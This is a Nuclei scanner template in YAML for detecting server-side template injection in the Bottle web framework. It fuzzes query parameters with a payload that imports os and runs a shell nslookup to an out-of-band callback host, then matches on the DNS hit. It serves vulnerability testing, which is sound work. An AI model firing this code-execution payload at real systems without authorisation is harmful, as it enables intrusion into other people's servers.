id: bottle-oob
info:
name: Bottle - Out of Band Template Injection
author: 0xAwali,DhiyaneshDK
severity: high
reference:
- https://bottlepy.org/docs/dev/
- https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
metadata:
verified: true
tags: ssti,dast,oast,oob,vuln
variables:
oast: "{{interactsh-url}}"
http:
- pre-condition:
- type: dsl
dsl:
- 'method == "GET"'
payloads:
injection:
- "{{exec('import+os')}}{{exec('os.system(\"nslookup+-type=SRV+{{interactsh-url}}\")')}}"
fuzzing:
- part: query
type: postfix
mode: single
fuzz:
- "{{injection}}"
skip-variables-check: true
matchers:
- type: dsl
name: request-matcher
dsl:
- "contains(interactsh_protocol,'dns')"
- "contains(interactsh_request,'srv')"
condition: and
# digest: 4b0a00483046022100a92ae4fac72f544f364bda53a299b0c8ec0f100e7214207ec18cdac184fd8883022100c6ee6753b6c703415440b9f56c5b2bba10498fac41d10dfafa28c0dd1757104d:922c64590222798bb761d5b6d8e72950